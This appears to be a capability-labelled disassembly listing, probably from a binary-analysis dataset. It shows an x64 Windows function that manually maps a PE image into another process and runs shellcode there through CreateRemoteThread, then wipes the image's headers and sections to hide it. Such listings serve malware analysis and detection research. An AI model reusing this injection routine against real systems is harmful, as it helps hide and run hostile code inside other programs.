Function at 0x1400f4710
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Resolve function by parsing pe exports
Spawn thread to rwx shellcode

Disassembly:
mov byte [rsp + 0x20], r9b
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x150
mov rax, qword [0x1406f54c0]
xor rax, rsp
mov qword [rsp + 0x140], rax
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x98], 0
mov qword [rsp + 0x80], 0
mov qword [rsp + 0x48], 0
mov rax, qword [rsp + 0x168]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x1400f4781
xor al, al
jmp 0x1400f50c3
mov rax, qword [rsp + 0x168]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x168]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
add rax, 0x18
mov qword [rsp + 0x98], rax
mov rax, qword [rsp + 0x50]
add rax, 4
mov qword [rsp + 0x80], rax
mov rax, qword [rsp + 0x80]
movzx eax, word [rax]
cmp eax, 0x8664
je 0x1400f47db
xor al, al
jmp 0x1400f50c3
mov rax, qword [rsp + 0x98]
mov eax, dword [rax + 0x38]
mov dword [rsp + 0x20], 4
mov r9d, 0x3000
mov r8d, eax
xor edx, edx
mov rcx, qword [rsp + 0x160]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x48], rax
cmp qword [rsp + 0x48], 0
jne 0x1400f481b
xor al, al
jmp 0x1400f50c3
mov dword [rsp + 0x134], 0
mov rax, qword [rsp + 0x98]
mov eax, dword [rax + 0x38]
lea rcx, [rsp + 0x134]
mov qword [rsp + 0x20], rcx
mov r9d, 0x40
mov r8d, eax
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x160]
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
lea rax, [rsp + 0xb0]
mov rdi, rax
xor eax, eax
mov ecx, 0x40
rep stosb byte [rdi], al
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [rsp + 0xb0], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0xb8], rax
mov rax, qword [sym.imp.ntdll.dll_RtlAddFunctionTable]
mov qword [rsp + 0xc0], rax
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0xc8], rax
mov eax, dword [rsp + 0x198]
mov dword [rsp + 0xd8], eax
mov rax, qword [rsp + 0x1a0]
mov qword [rsp + 0xe0], rax
movzx eax, byte [rsp + 0x190]
mov dword [rsp + 0xe8], eax
mov qword [rsp + 0x20], 0
mov r9d, 0x1000
mov r8, qword [rsp + 0x168]
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x160]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x1400f4926
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x160]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor al, al
jmp 0x1400f50c3
mov rax, qword [rsp + 0x50]
movzx eax, word [rax + 0x14]
mov rcx, qword [rsp + 0x50]
lea rax, [rcx + rax + 0x18]
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x68], 0
jmp 0x1400f4960
mov eax, dword [rsp + 0x68]
inc eax
mov dword [rsp + 0x68], eax
mov rax, qword [rsp + 0x40]
add rax, 0x28
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x80]
movzx eax, word [rax + 2]
cmp dword [rsp + 0x68], eax
je 0x1400f49fb
mov rax, qword [rsp + 0x40]
cmp dword [rax + 0x10], 0
je 0x1400f49f6
mov rax, qword [rsp + 0x40]
mov eax, dword [rax + 0x10]
mov rcx, qword [rsp + 0x40]
mov ecx, dword [rcx + 0x14]
mov rdx, qword [rsp + 0x168]
add rdx, rcx
mov rcx, rdx
mov rdx, qword [rsp + 0x40]
mov edx, dword [rdx + 0xc]
mov rdi, qword [rsp + 0x48]
add rdi, rdx
mov rdx, rdi
mov qword [rsp + 0x20], 0
mov r9d, eax
mov r8, rcx
mov rcx, qword [rsp + 0x160]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x1400f49f6
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x160]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor al, al
jmp 0x1400f50c3
jmp 0x1400f4948
mov dword [rsp + 0x20], 4
mov r9d, 0x3000
mov r8d, 0x40
xor edx, edx
mov rcx, qword [rsp + 0x160]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x58], rax
cmp qword [rsp + 0x58], 0
jne 0x1400f4a4f
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x160]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor al, al
jmp 0x1400f50c3
mov qword [rsp + 0x20], 0
mov r9d, 0x40
lea r8, [rsp + 0xb0]
mov rdx, qword [rsp + 0x58]
mov rcx, qword [rsp + 0x160]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x1400f4abc
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x160]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rsp + 0x58]
mov rcx, qword [rsp + 0x160]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor al, al
jmp 0x1400f50c3
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, 0x1000
xor edx, edx
mov rcx, qword [rsp + 0x160]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x60], rax
cmp qword [rsp + 0x60], 0
jne 0x1400f4b2c
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x160]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rsp + 0x58]
mov rcx, qword [rsp + 0x160]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor al, al
jmp 0x1400f50c3
mov qword [rsp + 0x20], 0
mov r9d, 0x1000
lea r8, [0x1400fe380]
mov rdx, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x160]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x1400f4bb4
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x160]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rsp + 0x58]
mov rcx, qword [rsp + 0x160]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x160]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor al, al
jmp 0x1400f50c3
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x60]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x160]
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov qword [rsp + 0xa0], rax
cmp qword [rsp + 0xa0], 0
jne 0x1400f4c55
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x160]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rsp + 0x58]
mov rcx, qword [rsp + 0x160]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x160]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor al, al
jmp 0x1400f50c3
mov rcx, qword [rsp + 0xa0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0x90], 0
cmp qword [rsp + 0x90], 0
jne 0x1400f4d7a
mov dword [rsp + 0x130], 0
lea rdx, [rsp + 0x130]
mov rcx, qword [rsp + 0x160]
call qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
cmp dword [rsp + 0x130], 0x103
je 0x1400f4cb3
xor al, al
jmp 0x1400f50c3
lea rax, [rsp + 0xf0]
mov rdi, rax
xor eax, eax
mov ecx, 0x40
rep stosb byte [rdi], al
mov qword [rsp + 0x20], 0
mov r9d, 0x40
lea r8, [rsp + 0xf0]
mov rdx, qword [rsp + 0x58]
mov rcx, qword [rsp + 0x160]
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov rax, qword [rsp + 0x110]
mov qword [rsp + 0x90], rax
cmp qword [rsp + 0x90], 0x404040
jne 0x1400f4d6a
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x160]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rsp + 0x58]
mov rcx, qword [rsp + 0x160]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x160]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor al, al
jmp 0x1400f50c3
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1400f4c6f
mov ecx, 0x1400000
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov qword [rsp + 0x88], rax
cmp qword [rsp + 0x88], 0
jne 0x1400f4d9f
xor al, al
jmp 0x1400f50c3
mov r8d, 0x1400000
xor edx, edx
mov rcx, qword [rsp + 0x88]
call sub.VCRUNTIME140.dll_memset
movzx eax, byte [rsp + 0x178]
test eax, eax
je 0x1400f4dea
mov qword [rsp + 0x20], 0
mov r9d, 0x1000
mov r8, qword [rsp + 0x88]
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x160]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
movzx eax, byte [rsp + 0x180]
test eax, eax
je 0x1400f4f1d
mov rax, qword [rsp + 0x50]
movzx eax, word [rax + 0x14]
mov rcx, qword [rsp + 0x50]
lea rax, [rcx + rax + 0x18]
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x6c], 0
jmp 0x1400f4e34
mov eax, dword [rsp + 0x6c]
inc eax
mov dword [rsp + 0x6c], eax
mov rax, qword [rsp + 0x40]
add rax, 0x28
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x80]
movzx eax, word [rax + 2]
cmp dword [rsp + 0x6c], eax
je 0x1400f4f1d
mov rax, qword [rsp + 0x40]
cmp dword [rax + 8], 0
je 0x1400f4f18
movzx eax, byte [rsp + 0x190]
test eax, eax
je 0x1400f4e6f
mov dword [rsp + 0x7c], 0
jmp 0x1400f4ea1
mov rax, qword [rsp + 0x40]
lea rdx, [0x140165894]
mov rcx, rax
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
test eax, eax
jne 0x1400f4e91
mov dword [rsp + 0x78], 1
jmp 0x1400f4e99
mov dword [rsp + 0x78], 0
mov eax, dword [rsp + 0x78]
mov dword [rsp + 0x7c], eax
cmp dword [rsp + 0x7c], 0
jne 0x1400f4ed8
mov rax, qword [rsp + 0x40]
lea rdx, [0x14016589c]
mov rcx, rax
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
test eax, eax
je 0x1400f4ed8
mov rax, qword [rsp + 0x40]
lea rdx, str..reloc
mov rcx, rax
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
test eax, eax
jne 0x1400f4f18
mov rax, qword [rsp + 0x40]
mov eax, dword [rax + 8]
mov rcx, qword [rsp + 0x40]
mov ecx, dword [rcx + 0xc]
mov rdx, qword [rsp + 0x48]
add rdx, rcx
mov rcx, rdx
mov qword [rsp + 0x20], 0
mov r9d, eax
mov r8, qword [rsp + 0x88]
mov rdx, rcx
mov rcx, qword [rsp + 0x160]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
jmp 0x1400f4e1c
movzx eax, byte [rsp + 0x188]
test eax, eax
je 0x1400f505f
mov rax, qword [rsp + 0x50]
movzx eax, word [rax + 0x14]
mov rcx, qword [rsp + 0x50]
lea rax, [rcx + rax + 0x18]
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x70], 0
jmp 0x1400f4f67
mov eax, dword [rsp + 0x70]
inc eax
mov dword [rsp + 0x70], eax
mov rax, qword [rsp + 0x40]
add rax, 0x28
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x80]
movzx eax, word [rax + 2]
cmp dword [rsp + 0x70], eax
je 0x1400f5019
mov rax, qword [rsp + 0x40]
cmp dword [rax + 8], 0
je 0x1400f5014
mov dword [rsp + 0x138], 0
mov dword [rsp + 0x74], 2
mov rax, qword [rsp + 0x40]
mov eax, dword [rax + 0x24]
and eax, 0x80000000
test eax, eax
jbe 0x1400f4fba
mov dword [rsp + 0x74], 4
jmp 0x1400f4fd3
mov rax, qword [rsp + 0x40]
mov eax, dword [rax + 0x24]
and eax, 0x20000000
test eax, eax
jbe 0x1400f4fd3
mov dword [rsp + 0x74], reloc.WLDAP32.dll_Ordinal_32
mov rax, qword [rsp + 0x40]
mov eax, dword [rax + 8]
mov rcx, qword [rsp + 0x40]
mov ecx, dword [rcx + 0xc]
mov rdx, qword [rsp + 0x48]
add rdx, rcx
mov rcx, rdx
lea rdx, [rsp + 0x138]
mov qword [rsp + 0x20], rdx
mov r9d, dword [rsp + 0x74]
mov r8d, eax
mov rdx, rcx
mov rcx, qword [rsp + 0x160]
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
jmp 0x1400f4f4f
mov dword [rsp + 0x13c], 0
mov rax, qword [rsp + 0x50]
movzx eax, word [rax + 0x14]
mov rcx, qword [rsp + 0x50]
mov eax, dword [rcx + rax + 0x24]
lea rcx, [rsp + 0x13c]
mov qword [rsp + 0x20], rcx
mov r9d, 2
mov r8d, eax
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x160]
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov qword [rsp + 0x20], 0
mov r9d, 0x1000
mov r8, qword [rsp + 0x88]
mov rdx, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x160]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x160]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rsp + 0x58]
mov rcx, qword [rsp + 0x160]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov al, 1
mov rcx, qword [rsp + 0x140]
xor rcx, rsp
call fcn.140154aa0
add rsp, 0x150
pop rdi
ret